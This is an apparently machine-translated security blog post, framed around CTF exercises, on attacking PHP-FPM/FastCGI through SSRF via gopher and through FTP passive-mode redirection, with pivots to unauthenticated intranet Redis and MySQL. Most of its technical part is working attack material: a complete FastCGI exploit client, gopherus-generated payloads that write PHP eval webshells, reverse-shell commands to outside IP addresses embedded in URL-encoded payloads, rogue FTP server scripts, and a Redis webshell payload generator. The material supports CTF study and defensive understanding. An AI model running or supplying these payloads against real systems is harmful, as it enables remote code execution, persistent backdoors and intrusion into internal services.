Security Learning of FPM and FTP

Posted by ColinP on Sun, 27 Feb 2022 11:40:25 +0100

preface

Here is a brief summary of some attacks on FPM and FastCGI

Pre knowledge

What is CGI?

Early Web servers could only respond to the request for HTTP static resources sent by the browser and return the static resources stored in the server to the browser. With the development of Web technology, dynamic technology gradually appears, but the Web server can not directly run dynamic scripts. In order to solve the data exchange between the Web server and external applications (CGI programs), CGI (Common Gateway Interface) general gateway interface appears. Simply understand, it can be considered that CGI is used to help the Web server "communicate" with the applications running on it

When a dynamic script request is encountered, the main process of the Web server will Fork create a new process to start the CGI program, run external C programs or Perl, PHP scripts, etc., that is, hand over the dynamic script to the CGI program for processing. Starting CGI program requires a process, such as reading configuration file, loading extension, etc. When the CGI program starts, it will parse the dynamic script, and then return the results to the Web server. Finally, the Web server will return the results to the client, and the process from the previous Fork will be closed. In this way, every time a user requests a dynamic script, the Web server will re Fork create a new process to start the CGI program. The CGI program will process the dynamic script, and the process will close after processing. Its efficiency is very low.

For Mod CGI, the Web server can have a built-in Perl interpreter or PHP interpreter. In other words, by making these interpreters into modules, the Web server will start these interpreters when it starts. When new dynamic requests come in, the Web server parses these dynamic scripts by itself, which saves the need to Fork a process again and improves the efficiency.

What is FastCGI?

FastCGI is a scalable and high-speed interface for communication between HTTP server and dynamic scripting language (FastCGI interface is socket (file socket or ip socket) under Linux). The main advantage is to separate dynamic language from HTTP server. Most popular HTTP servers support FastCGI, including Apache, Nginx, and lightpd.

At the same time, FastCGI is also supported by many scripting languages. One of the more popular scripting languages is PHP. FastCGI interface adopts C/S architecture, which can separate HTTP server and script parsing server, and start one or more script parsing daemons on the script parsing server at the same time. When the HTTP server encounters a dynamic program every time, it can directly deliver it to the FastCGI process for execution, and then return the obtained structure to the browser. In this way, the HTTP server can specifically process static requests or return the results of the dynamic script server to the client, which greatly improves the performance of the whole application system.

The difference between web server, web middleware and web container

reference: https://blog.csdn.net/qq_36119192/article/details/84501439

The process by which a browser processes a web page

1. Process of browser accessing static web pages:

Throughout the visit of the web page, Web container(for example Apache,Nginx)Only serve as the identity of content distributor when visiting static websites
 On the home page, Web The container will find the home page file in the corresponding directory of the website, and then send it to the user's browser

2. Browser access dynamic page

When visiting the home page of a dynamic website, it knows that this page is not a static page according to the container's configuration file, web The container will look for it PHP solution
 Analyzers for processing(Here with Apache take as an example),It will simply process the request and give it to PHP interpreter

When Apache Received user response index.php After the request, if you are using CGI,Will start the corresponding CGI The corresponding program here is PHP Parser for. next PHP The parser parses php.ini File, initialize the execution environment, then process the request, and then CGI Return the processed results in the specified format and exit the process, Web server Then return the results to the browser. This is a complete dynamic PHPWeb Access process.

summary

For php, web access order:

Web browser ------ > Web middleware (web server) -- > PHP server ------ > Database

The following is the operation principle of Nginx FastCGI

Analysis of FastCGI protocol

PHP-FPM

FPM arbitrary code execution

FPM unauthorized access

Read p God's article directly: https://www.leavesongs.com/PENETRATION/fastcgi-and-php-fpm.html

There's no need to move here

SSRF attacks FPM/FastCGI directly

Take the ssrf title on CTFHUB as an example, which is played using gopher protocol

Method 1:

Using the script of p God (using fcgi_exp tool)

We monitor port 9000 locally and run FPM Py print the malicious FastCGI protocol message data on the local 9000 port and save it as exp.txt

# Monitor 9000 ports
nc -lvvp 9000 > exp.txt

# Run ` FPM py`
python3 fpm.py 127.0.0.1 /var/www/html/index.php -c "<?php system('echo PD9waHAgZXZhbCgkX1BPU1Rbd2hvYW1pXSk 7Pz4 | base64 -d > /var/www/html/shel1.php');die('-----made by pniu----- ');?>"

Then the gopher protocol is constructed and the secondary coding is implemented

from urllib import quote
with open('exp.txt') as f:
	pld = f.read()
 a="gopher://127.0.0.1:9000/_" + quote(pld)
print(urllib.parse.quote(a))

? url = pass it in and connect the ant sword

python script

import socket
import random
import argparse
import sys
from io import BytesIO

# Referrer: https://github.com/wuyunfeng/Python-FastCGI-Client

PY2 = True if sys.version_info.major == 2 else False


def bchr(i):
    if PY2:
        return force_bytes(chr(i))
    else:
        return bytes([i])

def bord(c):
    if isinstance(c, int):
        return c
    else:
        return ord(c)

def force_bytes(s):
    if isinstance(s, bytes):
        return s
    else:
        return s.encode('utf-8', 'strict')

def force_text(s):
    if issubclass(type(s), str):
        return s
    if isinstance(s, bytes):
        s = str(s, 'utf-8', 'strict')
    else:
        s = str(s)
    return s


class FastCGIClient:
    """A Fast-CGI Client for Python"""

    # private
    __FCGI_VERSION = 1

    __FCGI_ROLE_RESPONDER = 1
    __FCGI_ROLE_AUTHORIZER = 2
    __FCGI_ROLE_FILTER = 3

    __FCGI_TYPE_BEGIN = 1
    __FCGI_TYPE_ABORT = 2
    __FCGI_TYPE_END = 3
    __FCGI_TYPE_PARAMS = 4
    __FCGI_TYPE_STDIN = 5
    __FCGI_TYPE_STDOUT = 6
    __FCGI_TYPE_STDERR = 7
    __FCGI_TYPE_DATA = 8
    __FCGI_TYPE_GETVALUES = 9
    __FCGI_TYPE_GETVALUES_RESULT = 10
    __FCGI_TYPE_UNKOWNTYPE = 11

    __FCGI_HEADER_SIZE = 8

    # request state
    FCGI_STATE_SEND = 1
    FCGI_STATE_ERROR = 2
    FCGI_STATE_SUCCESS = 3

    def __init__(self, host, port, timeout, keepalive):
        self.host = host
        self.port = port
        self.timeout = timeout
        if keepalive:
            self.keepalive = 1
        else:
            self.keepalive = 0
        self.sock = None
        self.requests = dict()

    def __connect(self):
        self.sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        self.sock.settimeout(self.timeout)
        self.sock.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
        # if self.keepalive:
        #     self.sock.setsockopt(socket.SOL_SOCKET, socket.SOL_KEEPALIVE, 1)
        # else:
        #     self.sock.setsockopt(socket.SOL_SOCKET, socket.SOL_KEEPALIVE, 0)
        try:
            self.sock.connect((self.host, int(self.port)))
        except socket.error as msg:
            self.sock.close()
            self.sock = None
            print(repr(msg))
            return False
        return True

    def __encodeFastCGIRecord(self, fcgi_type, content, requestid):
        length = len(content)
        buf = bchr(FastCGIClient.__FCGI_VERSION) \
               + bchr(fcgi_type) \
               + bchr((requestid >> 8) & 0xFF) \
               + bchr(requestid & 0xFF) \
               + bchr((length >> 8) & 0xFF) \
               + bchr(length & 0xFF) \
               + bchr(0) \
               + bchr(0) \
               + content
        return buf

    def __encodeNameValueParams(self, name, value):
        nLen = len(name)
        vLen = len(value)
        record = b''
        if nLen < 128:
            record += bchr(nLen)
        else:
            record += bchr((nLen >> 24) | 0x80) \
                      + bchr((nLen >> 16) & 0xFF) \
                      + bchr((nLen >> 8) & 0xFF) \
                      + bchr(nLen & 0xFF)
        if vLen < 128:
            record += bchr(vLen)
        else:
            record += bchr((vLen >> 24) | 0x80) \
                      + bchr((vLen >> 16) & 0xFF) \
                      + bchr((vLen >> 8) & 0xFF) \
                      + bchr(vLen & 0xFF)
        return record + name + value

    def __decodeFastCGIHeader(self, stream):
        header = dict()
        header['version'] = bord(stream[0])
        header['type'] = bord(stream[1])
        header['requestId'] = (bord(stream[2]) << 8) + bord(stream[3])
        header['contentLength'] = (bord(stream[4]) << 8) + bord(stream[5])
        header['paddingLength'] = bord(stream[6])
        header['reserved'] = bord(stream[7])
        return header

    def __decodeFastCGIRecord(self, buffer):
        header = buffer.read(int(self.__FCGI_HEADER_SIZE))

        if not header:
            return False
        else:
            record = self.__decodeFastCGIHeader(header)
            record['content'] = b''
            
            if 'contentLength' in record.keys():
                contentLength = int(record['contentLength'])
                record['content'] += buffer.read(contentLength)
            if 'paddingLength' in record.keys():
                skiped = buffer.read(int(record['paddingLength']))
            return record

    def request(self, nameValuePairs={}, post=''):
        if not self.__connect():
            print('connect failure! please check your fasctcgi-server !!')
            return

        requestId = random.randint(1, (1 << 16) - 1)
        self.requests[requestId] = dict()
        request = b""
        beginFCGIRecordContent = bchr(0) \
                                 + bchr(FastCGIClient.__FCGI_ROLE_RESPONDER) \
                                 + bchr(self.keepalive) \
                                 + bchr(0) * 5
        request += self.__encodeFastCGIRecord(FastCGIClient.__FCGI_TYPE_BEGIN,
                                              beginFCGIRecordContent, requestId)
        paramsRecord = b''
        if nameValuePairs:
            for (name, value) in nameValuePairs.items():
                name = force_bytes(name)
                value = force_bytes(value)
                paramsRecord += self.__encodeNameValueParams(name, value)

        if paramsRecord:
            request += self.__encodeFastCGIRecord(FastCGIClient.__FCGI_TYPE_PARAMS, paramsRecord, requestId)
        request += self.__encodeFastCGIRecord(FastCGIClient.__FCGI_TYPE_PARAMS, b'', requestId)

        if post:
            request += self.__encodeFastCGIRecord(FastCGIClient.__FCGI_TYPE_STDIN, force_bytes(post), requestId)
        request += self.__encodeFastCGIRecord(FastCGIClient.__FCGI_TYPE_STDIN, b'', requestId)

        self.sock.send(request)
        self.requests[requestId]['state'] = FastCGIClient.FCGI_STATE_SEND
        self.requests[requestId]['response'] = b''
        return self.__waitForResponse(requestId)

    def __waitForResponse(self, requestId):
        data = b''
        while True:
            buf = self.sock.recv(512)
            if not len(buf):
                break
            data += buf

        data = BytesIO(data)
        while True:
            response = self.__decodeFastCGIRecord(data)
            if not response:
                break
            if response['type'] == FastCGIClient.__FCGI_TYPE_STDOUT \
                    or response['type'] == FastCGIClient.__FCGI_TYPE_STDERR:
                if response['type'] == FastCGIClient.__FCGI_TYPE_STDERR:
                    self.requests['state'] = FastCGIClient.FCGI_STATE_ERROR
                if requestId == int(response['requestId']):
                    self.requests[requestId]['response'] += response['content']
            if response['type'] == FastCGIClient.FCGI_STATE_SUCCESS:
                self.requests[requestId]
        return self.requests[requestId]['response']

    def __repr__(self):
        return "fastcgi connect host:{} port:{}".format(self.host, self.port)


if __name__ == '__main__':
    parser = argparse.ArgumentParser(description='Php-fpm code execution vulnerability client.')
    parser.add_argument('host', help='Target host, such as 127.0.0.1')
    parser.add_argument('file', help='A php file absolute path, such as /usr/local/lib/php/System.php')
    parser.add_argument('-c', '--code', help='What php code your want to execute', default='<?php phpinfo(); exit; ?>')
    parser.add_argument('-p', '--port', help='FastCGI port', default=9000, type=int)

    args = parser.parse_args()

    client = FastCGIClient(args.host, args.port, 3, 0)
    params = dict()
    documentRoot = "/"
    uri = args.file
    content = args.code
    params = {
        'GATEWAY_INTERFACE': 'FastCGI/1.0',
        'REQUEST_METHOD': 'POST',
        'SCRIPT_FILENAME': documentRoot + uri.lstrip('/'),
        'SCRIPT_NAME': uri,
        'QUERY_STRING': '',
        'REQUEST_URI': uri,
        'DOCUMENT_ROOT': documentRoot,
        'SERVER_SOFTWARE': 'php/fcgiclient',
        'REMOTE_ADDR': '127.0.0.1',
        'REMOTE_PORT': '9985',
        'SERVER_ADDR': '127.0.0.1',
        'SERVER_PORT': '80',
        'SERVER_NAME': "localhost",
        'SERVER_PROTOCOL': 'HTTP/1.1',
        'CONTENT_TYPE': 'application/text',
        'CONTENT_LENGTH': "%d" % len(content),
        'PHP_VALUE': 'auto_prepend_file = php://input',
        'PHP_ADMIN_VALUE': 'allow_url_include = On'
    }
    response = client.request(params, content)
    print(force_text(response))

Method 2:

gopherus tool directly hits fastcgi. I think this is more convenient

Questions on ctfhub

python gopherus.py --exploit fastcgi
/var/www/html/index.php                 //What you enter here is a known php file
echo PD9waHAgZXZhbCgkX1BPU1Rbd2hvYW1pXSk7Pz4 | base64 -d > /var/www/html/shell.php

Here is the urlencode code

gopher://127.0.0.1:9000/_%01%01%00%01%00%08%00%00%00%01%00%00%00%00%00%00%01%04%00%01%01%05%05%00%0F%10SERVER_SOFTWAREgo%20/%20fcgiclient%20%0B%09REMOTE_ADDR127.0.0.1%0F%08SERVER_PROTOCOLHTTP/1.1%0E%03CONTENT_LENGTH134%0E%04REQUEST_METHODPOST%09KPHP_VALUEallow_url_include%20%3D%20On%0Adisable_functions%20%3D%20%0Aauto_prepend_file%20%3D%20php%3A//input%0F%17SCRIPT_FILENAME/var/www/html/index.php%0D%01DOCUMENT_ROOT/%00%00%00%00%00%01%04%00%01%00%00%00%00%01%05%00%01%00%86%04%00%3C%3Fphp%20system%28%27echo%20PD9waHAgZXZhbCgkX1BPU1Rbd2hvYW1pXSk7Pz4%20%7C%20base64%20-d%20%3E%20/var/www/html/shell.php%27%29%3Bdie%28%27-----Made-by-SpyD3r-----%0A%27%29%3B%3F%3E%00%00%00%00

We need secondary coding

gopher%3A%2F%2F127.0.0.1%3A9000%2F_%2501%2501%2500%2501%2500%2508%2500%2500%2500%2501%2500%2500%2500%2500%2500%2500%2501%2504%2500%2501%2501%2505%2505%2500%250F%2510SERVER_SOFTWAREgo%2520%2F%2520fcgiclient%2520%250B%2509REMOTE_ADDR127.0.0.1%250F%2508SERVER_PROTOCOLHTTP%2F1.1%250E%2503CONTENT_LENGTH134%250E%2504REQUEST_METHODPOST%2509KPHP_VALUEallow_url_include%2520%253D%2520On%250Adisable_functions%2520%253D%2520%250Aauto_prepend_file%2520%253D%2520php%253A%2F%2Finput%250F%2517SCRIPT_FILENAME%2Fvar%2Fwww%2Fhtml%2Findex.php%250D%2501DOCUMENT_ROOT%2F%2500%2500%2500%2500%2500%2501%2504%2500%2501%2500%2500%2500%2500%2501%2505%2500%2501%2500%2586%2504%2500%253C%253Fphp%2520system%2528%2527echo%2520PD9waHAgZXZhbCgkX1BPU1Rbd2hvYW1pXSk7Pz4%2520%257C%2520base64%2520-d%2520%253E%2520%2Fvar%2Fwww%2Fhtml%2Fshell.php%2527%2529%253Bdie%2528%2527-----Made-by-SpyD3r-----%250A%2527%2529%253B%253F%253E%2500%2500%2500%2500

Then we can connect with ant sword and find the root directory to get flag

The passive mode of FTP is FPM/FastCGI

Pre knowledge of FTP

FTP protocol

FTP (File Transfer Protocol) is one of the protocols in TCP/IP protocol group. FTP protocol includes two parts, one is FTP server, the other is FTP client. The FTP server is used to store files, and users can use the FTP client to access the resources located on the FTP server through the FTP protocol. When developing a website, we usually use FTP protocol to transfer the Web page or program to the Web server. In addition, due to the high efficiency of FTP transmission, this protocol is generally used when transmitting large files on the network.

By default, FTP protocol uses 20 and 21 of TCP ports, of which 20 is used to transmit data and 21 is used to transmit control information. However, whether to use 20 as the data transmission port is related to the transmission mode used by FTP. If the active mode is adopted, the data transmission port is 20; If the passive mode is adopted, the specific port to be used should be determined through negotiation between the server and the client.

How FTP protocol works

FTP supports two modes, one is called Standard (i.e. PORT mode, active mode) and the other is Passive (i.e. PASV, Passive mode). The Standard mode FTP client sends the PORT command to the FTP server. The Passive mode FTP client sends the PASV command to the FTP server.

The working principles of these two methods are described below:

Port

The FTP client first establishes a connection with the TCP 21 PORT of the FTP server and sends control commands through this channel. After the control connection is established, if the client needs to receive data, send the PORT command on this control channel. The PORT command contains what PORT the client uses to receive data (the format of the PORT command is special). When transmitting data, the server connects to the client through its TCP 20 PORT and sends data to the PORT specified by the PORT command. It can be seen that the FTP server must actively establish a new connection with the client to transmit data.

Passive

When establishing the control channel, similar to the Standard mode, the connection is established between the FTP client and the TCP 21 PORT of the FTP server, but the PASV command is not sent after the connection is established. After receiving the PASV command, the FTP server randomly opens a high-end PORT (PORT number greater than 1024) and notifies the client of the request to transmit data on this PORT. The client connects to this high-end PORT of the FTP server and establishes a channel through three handshakes, and then the FTP server will transmit data through this PORT.

In short, the active mode and passive mode are based on the "perspective" of the FTP server. More commonly, when transmitting data, if the server actively connects the client, it is the active mode; If the client actively connects to the server, it is the passive mode.

It can be seen that in the passive mode, the data transmission ports of FTP client and server are specified by the server, and there is another point that is not mentioned in many places. In fact, in addition to the port, the address of the server can also be specified. Because FTP is similar to HTTP, the protocol content is all plain text, so we can clearly see how it specifies the address and port:

227 Entering Passive Mode(192,168,9,2,4,8)

227 and Entering Passive Mode are similar to the status code and status phrase of HTTP, while (192168,9,2,4,8) represents the 4 * 256 + 8 = 1032 port connecting the client to 192.168.9.2.

In this way, if we specify (127,0,0,1,09000), we can refer to the address and port to 127.0.0.1:9000, that is, the local 9000 port. At the same time, due to the characteristics of FTP, it will send the transmitted data to the local 9000 port intact without any redundant content. If we replace the transmitted data with specific Payload data, we can attack applications on specific ports of the intranet. In the whole process, FTP only plays a role in redirecting the content of Payload.

Principle:

Vulnerability code

<?php
$contents = file_get_contents($_GET['viewFile']);
file_put_contents($_GET['viewFile'], $contents);

Here, read the path viewFile and write it back to the file. It seems that nothing has been done.

This code can be used to attack PHP-FPM

If a client attempts to read a file from the FTP server, the server will notify the client to read (or write) the contents of the file to a specific IP and port. Moreover, there are no necessary restrictions on these IPS and ports. For example, a server can tell a client to connect to one of its ports.

Now, if we use viewFile=ftp://evil-server/file.txt Then what happens:

First through file_ get_ The contents () function connects to our FTP server and downloads file txt.
Then through file_ put_ The contents () function connects to our FTP server and uploads it back to file txt.

At this point, it tries to use file_ put_ When contents () is uploaded back, we tell it to send the file to 127.0.0.1:9001(fpm port, 9000 by default)
So, we created an SSRF attack on PHP FPM in the middle

Demonstration process

Of course, the following three are FTP attacks. I learned to use gopher protocol and dict protocol before.

FTP to FPM

Case 1

For the above code, there is only one control variable

First, we use gopherus tool to generate payload attacking fastcgi

python gopherus.py --exploit fastcgi
/var/www/html/index.php  # What you enter here is a known php file on the target host
bash -c "bash -i >& /dev/tcp/192.168.43.247/10000 0>&1"  # The command to be executed is entered here

Get the payload, and what we need is in the payload above_ The following data part, i.e

%01%01%00%01%00%08%00%00%00%01%00%00%00%00%00%00%01%04%00%01%01%05%05%00%0F%10SERVER_SOFTWAREgo%20/%20fcgiclient%20%0B%09REMOTE_ADDR127.0.0.1%0F%08SERVER_PROTOCOLHTTP/1.1%0E%03CONTENT_LENGTH106%0E%04REQUEST_METHODPOST%09KPHP_VALUEallow_url_include%20%3D%20On%0Adisable_functions%20%3D%20%0Aauto_prepend_file%20%3D%20php%3A//input%0F%17SCRIPT_FILENAME/var/www/html/index.php%0D%01DOCUMENT_ROOT/%00%00%00%00%00%01%04%00%01%00%00%00%00%01%05%00%01%00j%04%00%3C%3Fphp%20system%28%27bash%20-c%20%22bash%20-i%20%3E%26%20/dev/tcp/192.168.43.247/2333%200%3E%261%22%27%29%3Bdie%28%27-----Made-by-SpyD3r-----%0A%27%29%3B%3F%3E%00%00%00%00

Then write the FTP service code and replace the data in the payload above with the contents of the payload in the FTP script below

# -*- coding: utf-8 -*-
# @Time: 2021 / 1 / 13 6:56 PM
# @Author  : tntaxin
# @File    : ftp_redirect.py
# @Software:

import socket
from urllib.parse import unquote

# Perform a urldecode on the payload generated by gopherus
payload = unquote("%01%01%00%01%00%08%00%00%00%01%00%00%00%00%00%00%01%04%00%01%01%05%05%00%0F%10SERVER_SOFTWAREgo%20/%20fcgiclient%20%0B%09REMOTE_ADDR127.0.0.1%0F%08SERVER_PROTOCOLHTTP/1.1%0E%03CONTENT_LENGTH106%0E%04REQUEST_METHODPOST%09KPHP_VALUEallow_url_include%20%3D%20On%0Adisable_functions%20%3D%20%0Aauto_prepend_file%20%3D%20php%3A//input%0F%17SCRIPT_FILENAME/var/www/html/index.php%0D%01DOCUMENT_ROOT/%00%00%00%00%00%01%04%00%01%00%00%00%00%01%05%00%01%00j%04%00%3C%3Fphp%20system%28%27bash%20-c%20%22bash%20-i%20%3E%26%20/dev/tcp/192.168.43.247/2333%200%3E%261%22%27%29%3Bdie%28%27-----Made-by-SpyD3r-----%0A%27%29%3B%3F%3E%00%00%00%00")
payload = payload.encode('utf-8')

host = '0.0.0.0'
port = 23
sk = socket.socket()
sk.bind((host, port))
sk.listen(5)

# The passport port in ftp passive mode listens to 1234
sk2 = socket.socket()
sk2.bind((host, 1234))
sk2.listen()

# Counter, which is used to distinguish the number of ftp connections
count = 1
while 1:
    conn, address = sk.accept()
    conn.send(b"200 \n")
    print(conn.recv(20))  # User AAA \ R \ nthe user name is passed from the client
    if count == 1:
        conn.send(b"220 ready\n")
    else:
        conn.send(b"200 ready\n")

    print(conn.recv(20))   # TYPE I \ R \ nthe client tells the server in what format to transmit data. TYPE I represents binary and TYPE A represents text
    if count == 1:
        conn.send(b"215 \n")
    else:
        conn.send(b"200 \n")

    print(conn.recv(20))  # Size / 123 \ R \ nthe client asks for the size of the file / 123
    if count == 1:
        conn.send(b"213 3 \n")  
    else:
        conn.send(b"300 \n")

    print(conn.recv(20))  # EPSV\r\n'
    conn.send(b"200 \n")

    print(conn.recv(20))   # PASV \ R \ nthe client tells the server to enter the passive connection mode
    if count == 1:
        conn.send(b"227 127,0,0,1,4,210\n")  # The server tells the client which ip:port to go to to get data. IP and port are separated by commas. The calculation rule of port is 4 * 256 + 210 = 1234
    else:
        conn.send(b"227 127,0,0,1,35,40\n")  # Port calculation rule: 35 * 256 + 40 = 9000

    print(conn.recv(20))  # The first connection will receive the command retr / 123 \ R \ NAND the second connection will receive STOR /123\r\n
    if count == 1:
        conn.send(b"125 \n") # Tell the client that the data connection can be started
        # Create a new socket and return our payload to the server
        print("Establish connection!")
        conn2, address2 = sk2.accept()
        conn2.send(payload)
        conn2.close()
        print("Disconnect!")
    else:
        conn.send(b"150 \n")
        print(conn.recv(20))
        exit()

    # The first connection is to download files. You need to tell the client that the download is over
    if count == 1:
        conn.send(b"226 \n")
    conn.close()
    count += 1

Run the above script on the attacker and start the FTP service (remember to open the port and cd to the corresponding directory)

Then listen to the port (it must be consistent with the payload port above)

Pass parameters and trigger attack

/ssrf.php?viewFile=ftp://aaa@192.168.43.247:23/123

You can bounce back.

Situation 2

There are two control variables

<?php
file_put_contents($_GET['file'], $_GET['data']);

First, use gopherus to generate the payload:

BASH
Copy successfullypython gopherus.py --exploit fastcgi
/var/www/html/index.php  # What you enter here is a known php file on the target host
bash -c "bash -i >& /dev/tcp/192.168.43.247/2333 0>&1"  # The command to be executed is entered here

The obtained payload is only intercepted_ The following data section.

Then execute the following python script on the attacker to build a malicious ftp server:

import socket
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) 
s.bind(('0.0.0.0', 23))
s.listen(1)
conn, addr = s.accept()
conn.send(b'220 welcome\n')
#Service ready for new user.
#Client send anonymous username
#USER anonymous
conn.send(b'331 Please specify the password.\n')
#User name okay, need password.
#Client send anonymous password.
#PASS anonymous
conn.send(b'230 Login successful.\n')
#User logged in, proceed. Logged out if appropriate.
#TYPE I
conn.send(b'200 Switching to Binary mode.\n')
#Size /
conn.send(b'550 Could not get the file size.\n')
#EPSV (1)
conn.send(b'150 ok\n')
#PASV
conn.send(b'227 Entering Extended Passive Mode (127,0,0,1,0,9001)\n') #STOR / (2)
conn.send(b'150 Permission denied.\n')
#QUIT
conn.send(b'221 Goodbye.\n')
conn.close()

Run script: python3 FTP py:

Then pass the parameter: the value of data is the value of the above payload

/?file=ftp://aaa@192.168.43.247:23/123&data=%01%01%00%01%00%08%00%00%00%01%00%00%00%00%00%00%01%04%00%01%01%05%05%00%0F%10SERVER_SOFTWAREgo%20/%20fcgiclient%20%0B%09REMOTE_ADDR127.0.0.1%0F%08SERVER_PROTOCOLHTTP/1.1%0E%03CONTENT_LENGTH106%0E%04REQUEST_METHODPOST%09KPHP_VALUEallow_url_include%20%3D%20On%0Adisable_functions%20%3D%20%0Aauto_prepend_file%20%3D%20php%3A//input%0F%17SCRIPT_FILENAME/var/www/html/index.php%0D%01DOCUMENT_ROOT/%00%00%00%00%00%01%04%00%01%00%00%00%00%01%05%00%01%00j%04%00%3C%3Fphp%20system%28%27bash%20-c%20%22bash%20-i%20%3E%26%20/dev/tcp/192.168.43.247/10000%200%3E%261%22%27%29%3Bdie%28%27-----Made-by-SpyD3r-----%0A%27%29%3B%3F%3E%00%00%00%00

Then it bounced back

FTP to intranet redis

Assuming that Redis exists in the intranet and can be accessed without authorization, we can also directly attack Redis to write Webshell, SSH secret key, plan tasks, etc.

First, write a script to generate a Payload that attacks Redis:

import urllib.parse
protocol="gopher://"
ip="127.0.0.1"
port="6379"
shell="\n\n<?php eval($_POST[\"cmd\"]);?>\n\n"
filename="1.php"
path="/var/www/html"
passwd=""        #If there is no password, don't add it. If there is a password, add it
cmd=["flushall",
     "set 1 {}".format(shell.replace(" ","${IFS}")),
     "config set dir {}".format(path),
     "config set dbfilename {}".format(filename),
     "save"
     ]
if passwd:
    cmd.insert(0,"AUTH {}".format(passwd))
payload=protocol+ip+":"+port+"/_"
def redis_format(arr):
    CRLF="\r\n"
    redis_arr = arr.split(" ")
    cmd=""
    cmd+="*"+str(len(redis_arr))
    for x in redis_arr:
        cmd+=CRLF+"$"+str(len((x.replace("${IFS}"," "))))+CRLF+x.replace("${IFS}"," ")
    cmd+=CRLF
    return cmd

if __name__=="__main__":
    for x in cmd:
        payload += urllib.parse.quote(redis_format(x))
    print(urllib.parse.quote(payload))


The obtained Payload only selects_ Later part

Later, the attacker builds an FTP service and then listens

The attacked machine constructs a request and sends a payload

/?file=ftp://aaa@47.101.57.72:23/123&data=%2A1%0D%0A%248%0D%0Aflushall%0D%0A%2A3%0D%0A%243%0D%0Aset%0D%0A%241%0D%0A1%0D%0A%2435%0D%0A%0A%0A%3C%3Fphp%20eval%28%24_POST%5B%22whoami%22%5D%29%3B%3F%3E%0A%0A%0D%0A%2A4%0D%0A%246%0D%0Aconfig%0D%0A%243%0D%0Aset%0D%0A%243%0D%0Adir%0D%0A%2413%0D%0A/var/www/html%0D%0A%2A4%0D%0A%246%0D%0Aconfig%0D%0A%243%0D%0Aset%0D%0A%2410%0D%0Adbfilename%0D%0A%249%0D%0Ashell.php%0D%0A%2A1%0D%0A%244%0D%0Asave%0D%0A

You can write webshell successfully.

FTP Mysql

Assuming that MySQL exists in the intranet and can be accessed without authorization, we can also directly attack its mysql. The specific operations include querying the data in mysql, writing to Webshell, UDF authorization and executing system commands.

use first Gopherus Generate Payload:

python2 gopherus.py --exploit mysql
root    # Enter the user name of MySQL here
system bash -c "bash -i >& /dev/tcp/47.101.57.72/2333 0>&1";  # The MySQL statements or commands that need to be executed are entered here. Here we rebound the shell

The obtained Payload only selects_ hinder

Then the back is the same.

Load malicious so implement RCE to bypass disable_functions

Upload code

<?php
file_put_contents($_GET['file'], $_GET['data']);

principle

Via file_put_contents uploads the file to the FTP server, and FTP sends the data content to the PFM port, so as to load the so file, and the so file contains malicious commands, so as to realize the execution of malicious commands. The content of data is payload. Before the payload is sent, you need to send the so file first.

Demonstration process

Pass CTF directly

reference resources: One Pointer PHP for Blue Hat Cup

Principle:

First, use the array overflow. Look at phpinfo. There is open_basedir and disabled_functions. Write the file first. You can connect ant sword to get webshell, but you can't open the file directory. Using ini Set bypass open_basedir. However, the contents of the file cannot be seen, and there is no permission, so the right needs to be raised. However, the premise of raising the right is to obtain the shell, which needs to be rebounded. Use FTP to play FPM, so as to load so file, so as to realize rebound shell, followed by right lifting.

[WMCTF2021]Make PHP Great Again And Again

Principle:

It is also necessary to bypass disabled_functions, the above question is to find the redis port, and this question is to find the FPM port. Then upload the so file modified by magic first and run the ftp service on the vpn. Use the script to generate a malicious FastCGI request (payload). Reuse file_put_contents, type payload, load so file and bypass disabled_functions to implement command execution.

Other CTF questions

[Longyuan war epidemic 2021 network security competition]

Principle:

First see the pop chain to find information, use phpinfo to find fastcgi, and then use the passive mode of FTP to play fpm

The file is written through the pop chain. The filename is an FTP server built locally. The data is directly the payload generated by gopherus tool. The FTP server will transfer the file content to the FPM port, trigger the code execution of the file content, and rebound the shell, and then raise the right later.

2022VNCTF

Principle:

Method 1: directly use pwn to bypass disabled_functions

Method 2: use redis master-slave copy to load so files to bypass disabled_functions

First detect that the port of redis is 8888, then get the so file through curl extranet, and then file_put_contents writes to so file. Here, the master-slave copy of redis and gopher protocol are used to load so files to realize rebound shell

Reference articles

https://whoamianony.top/2021/05/15/Web%E5%AE%89%E5%85%A8/%E6%B5%85%E5%85%A5%E6%B7%B1%E5%87%BA%20Fastcgi%20%E5%8D%8F%E8%AE%AE%E5%88%86%E6%9E%90%E4%B8%8E%20PHP-FPM%20%E6%94%BB%E5%87%BB%E6%96%B9%E6%B3%95/

https://www.anquanke.com/post/id/254387#h3-10
https://xz.aliyun.com/t/5598#toc-6

Topics: server security Web Security